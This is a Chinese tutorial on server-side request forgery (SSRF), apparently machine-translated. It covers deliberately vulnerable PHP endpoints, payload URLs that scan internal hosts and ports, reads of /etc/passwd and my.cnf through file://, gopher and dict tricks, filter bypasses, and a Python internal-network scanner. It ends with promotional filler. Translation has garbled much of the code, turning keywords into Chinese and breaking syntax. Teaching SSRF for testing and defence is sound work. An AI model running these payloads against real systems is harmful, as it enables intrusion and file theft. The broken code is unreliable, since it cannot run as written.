方法1: file_get_contents() 函数:
$url=$\\_GET[\’url\’];
$resp=file\\_get\\_contents($url);
回显$resp;
方法2 : 卷曲请求:
$ch=curl\\_init();
curl\\_setopt($ch, CURLOPT\\_URL, $\\_GET[\’url\’]);
卷曲\\_setopt($ch, CURLOPT\\_HEADER, 1);
$内容=curl\\_exec($ch);
回显$内容。
卷曲\\_close($ch);
2. 利用漏洞脚本发送恶意请求
(1)探测目标地址中的其他内网主机和端口是否开启
http://192.168.112.200/安全/ssrf.php?url=192.168.112.203
http://192.168.112.200/security/ssrf.php?url=192.168.112.202:22
http://192.168.112.200/security/ssrf.php?url=192.168.112.202:3306
您还可以使用burpsuite进行爆破,或者使用Python扫描内网IP或端口。
导入请求
对于(1,255): 范围内的i
尝试:
resp=request.get(f\’http://192,168.112.200/security/ssrf.php?url=http://192.168.112.{i}\’, 超时=2)
如果“file\\_get\\_contents”不在resp.text中并且“warning”不在resp.text:中
print(f\’192.168.112.{i}在线\’)
不包括:
通过
SSRF漏洞可用于从公网扫描内网主机。如果攻击者可以利用公共网络应用程序中的SSRF 漏洞,他们可能会尝试扫描为内部网络环境保留的以下私有IP 地址范围:
A 类地址:10.0.0.0 至10.255.255.255
B 类地址:172.16.0.0 至172.31.255.255
C 类地址:192.168.0.0 至192.168.255.255
除了这些私有地址之外,攻击者还可以扫描本地环回地址(127.0.0.0/8)、自动分配的地址(169.254.0.0/16)以及其他特殊用途的地址。
扫描常见端口如HTTP(80、443)、数据库服务(MySQL为3306、MSSQL为1433等)以及其他常用服务端口。
使用子网掩码时,通常为192.168.112.0/24(192.168.112.1 至192.168.112.254)
或扫描192.168.0.0/16(192.168.0.1 ~ 192.168.255.254)。
(2)file://协议读取服务器敏感文件
仅在后端使用curl方法时有效。
http://192.168.112.200/security/ssrf.php?url=file:///etc/passwd
http://192.168.112.200/security/ssrf.php?url=file:///opt/lampp/etc/my.cnf
四, SSRF 漏洞探测
1. 从目标站点的url参数中寻找
参数如share、wap、url、link、src、source、target、u、display、sourceUrl、imageURL、domain。
2. 从web页面的功能中寻找
这些功能可能存在SSRF 漏洞,因为它们涉及服务器向外部或用户指定的URL 发出请求。
这些功能包括网页内容共享、转码服务、在线翻译、图像加载和下载、内容收集以及一些未发布或内部的API 调用。
(1)分享功能:
如果应用程序在未经验证的情况下从用户指定的URL 检索内容(例如标题或描述),则可能会被利用来向内部网络上的敏感资源发出请求。
(2)转码服务:
如果您的应用程序对第三方Web 内容进行转码以使其适应移动设备,则如果不对用户输入的URL 执行安全检查,则可以使用这些URL 来访问内部系统。
(3)在线翻译:
同样,如果翻译服务没有严格过滤和验证用户提供的URL,这些URL 可能会被滥用来探测内部网络或访问受限资源。
(4)图片加载与下载:
当图像处理服务检索和处理远程图像(例如添加水印或压缩图像)而不限制请求的目标地址或验证图像的来源时,可能会出现SSRF 漏洞。
(5)内容收藏功能:
如果没有适当的安全措施,如果“收藏文章和图像”功能直接使用用户提供的URL 来抓取内容,则攻击者可以通过特制的URL 访问内部服务或操作该服务。
(6)未公开的API与其他URL调用功能:
如果内部或私有API 可以由外部请求触发,并且这些请求包括对不受严格控制的外部资源的调用,则它们可能会面临SSRF 风险。
3. 根据响应的内容判断
SSRF 漏洞的利用和发现实际上受到该回显信息的影响。这是安全研究人员在测试和验证过程中的一个重要因素。
根据返回的内容,SSRF攻击可以分为三种类型:
(1)完全回显:
在这种情况下,服务器对外部URL 请求的响应将直接返回给用户。这意味着攻击者可以直接查看请求的结果,包括网页代码和服务器头信息。
这使得攻击者更容易识别和利用SSRF 漏洞,因为他们可以直接观察请求的影响。
(2)半回显:
半回显SSRF 漏洞不会完全泄露服务器响应的全部内容,但它们可以泄露有价值的信息,例如页面标题、图像和选定的数据片段。
攻击者可以使用此信息来推断部分请求或服务器的状态。尽管不像完整回显那么直接,但此类SSRF 漏洞仍然可以为攻击者提供有用的信息。
(3)无回显:
这是最难利用的SSRF 类型,因为攻击者无法直接看到请求的结果。
您可能需要依靠其他副作用(例如页面加载时间、错误消息、间接日志文件和第三方系统更改)来推断攻击是否成功。
这种类型的SSRF 攻击通常难以检测和验证,需要更复杂的技术以及对目标系统行为的更深入了解。
在检测SSRF 漏洞时,即使没有回声,也可以采用多种策略来识别和利用该漏洞。
时间差攻击:
通过测量请求的响应时间,攻击者可以确定内部系统的响应。
错误消息:
即使没有回显数据,错误消息也可能泄露攻击者可以利用的信息。
辅助通道:
使用DNS 查询、系统日志、第三方服务等检测和利用SSRF 漏洞。
例如使用ceye或者租用公网服务器,查看访问日志。
端口扫描技术:
通过观察各个端口的连接行为,可以推断内部网络结构以及服务的存在。
五, SSRF利用协议总结
1. http
http可以访问其他内网IP的服务器,也可以跳转到任意URL nttp://examplesite/ssrf.php?url=http://www.baidu.com。
2. file
文件协议主要用于访问本地计算机上的文件。
http://examplesite/ssrf.php?url=file://127.0.0.1/flag.php
file_get_contents() 不支持两种协议:
3. gopher
Gopher 是一种分布式文档传送服务。这使得用户能够无量纲地探索、搜索和检索来自不同位置的信息。
构建各种HTTP请求包的能力使得gopher成为利用SSRF漏洞的灵丹妙药。
http://examplesite/ssrf.php?url=gopher://127.0.0.1:3333/_test
4. dict
字典协议通常用于让客户端在使用过程中访问更多字典源。但是,如果SSRF 可使用dict 协议,则可以轻松检索客户端上运行的服务版本等信息。目标服务器端口。
http://examplesite/ssrf.php?ur1=dict://127.0.0.1:3306/info
六, SSRF 绕过技巧
1. 使用十进制的ip地址
在线工具: https://www.bejson.com/convert/ip2int/
192.168.112.202 – 3232264394
http://192.168.112.200/security/ssrf.php?url=http://3232264394
2. 重新构造url地址
http://www.baidu.com@192.168.112.202
一、网安学习成长路线图
将网络安全各个方向的技术点归纳为各个领域知识点的总结,方便按照以上知识点找到对应的学习资源,进行更全面的学习。
二、网安视频合集
观看零基础学习视频观看视频很容易上手,按照视频中老师的思路从基础到细节。
三、精品网安学习书籍
当基础知识学到一定程度,有了一定的理解程度后,就可以看前辈编的书或者手写的笔记。这些注释提供了比较独特的理解。我有不同的思考方式。
四、网络安全源码合集+工具包
光学理论是没有用的,所以你必须相应地练习,才能将所学的知识运用到实践中。
五、网络安全面试题
最后是大家最关心的一段网络安全面试题。
#SSRF服务器请求伪造、部署、SSRF实验、漏洞检测、绕过技术、SSRF Defense_json格式绕过ssrf 相关内容以上网络信息仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92151.html